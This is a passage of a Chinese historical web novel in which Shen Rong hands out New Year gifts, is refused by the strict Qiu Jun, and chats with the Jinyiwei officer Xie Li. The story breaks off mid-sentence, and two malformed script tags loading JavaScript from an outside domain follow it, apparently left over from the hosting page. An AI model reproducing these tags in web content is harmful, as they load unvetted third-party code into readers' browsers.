就这么点东西,再搭一点店铺里头的茶叶和纸,总共那么“四色”礼品,简薄到近乎寒酸的地步,你再说不收就太矫情了,显得好像嫌弃礼物不值钱似的。
总之,沈瑢跑遍了每一位先生的家,把所有的礼都送了出去。说真的,看着程敏政等人捏着鼻子收礼的样子,还怪有趣的。
反正他不尴尬,尴尬的就是别人!
唯一碰了钉子的地方是丘浚家。说起来沈瑢也是佩服,丘浚堂堂一个国子监祭酒,家里住得浅房窄屋,连下人都少得可怜,却硬是敢把他这个“贵妃之弟”挡在门外,饶他说破嘴皮子都没让他进门,礼物当然也是不收的,怎么提过去,怎么提回来。
行吧,不收就不收,沈瑢也不在意。虽然丘浚打过他手板,但他又不记仇,所以还是留下一句“那祝先生新年快乐”,就满不在乎地掉头就走。
一出巷子,就见一队锦衣卫自街边迤逦行来,为首的那身青绿曳撒,在昏暗欲雪的天光之下也不知怎么的就显得特别青翠,反正沈瑢一眼就看见了:“谢大人!”
这巡街的活儿本也轮不着谢骊,只是到了年下别人都想着早些回家,他却是无家可回的,索性就替了那些人,叫他们早些回家团聚,自己日日领着当值的缇骑们出来乱逛。
大街上气味繁杂得很,过年的欢喜虽多,却也到处都有年关难过的苦涩,甚至有些人债务缠身苦熬不过,就在这样的日子里寻了短见也是有的。若遇上这样人家,那一股子苦味,就更是突如其来,苦到钻心,跟这热闹的情景格格不入。
这一天天的,谢骊委实也没甚好心情,倒是看见沈瑢从马车上探头出来,白狐毛领子托着被风吹红的脸,笑嘻嘻的样子瞧着喜庆。他不由自主打马向前,瞧了一眼马车里头:“怎么不备个炭炉?”就冻成这样?
沈瑢对他亮一亮揣在怀里的手炉:“有呢。”脸上是刚才在丘浚家门口冻的,毕竟站了半天。
“丘琼山……”谢骊皱皱眉,“他素来是不收礼的,以后也不必去了。”
沈瑢不服气:“早晚有一天我能把礼送进他家!”还就不信了呢。
谢骊也不晓得他这是什么志向,一阵无语后问他:“给陛下的礼可备好了?若是没有,我知道南市一家店进了些玻璃器……”虽不是什么稀世之珍,糊弄糊弄也还行。
沈瑢嘿嘿一笑:“
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">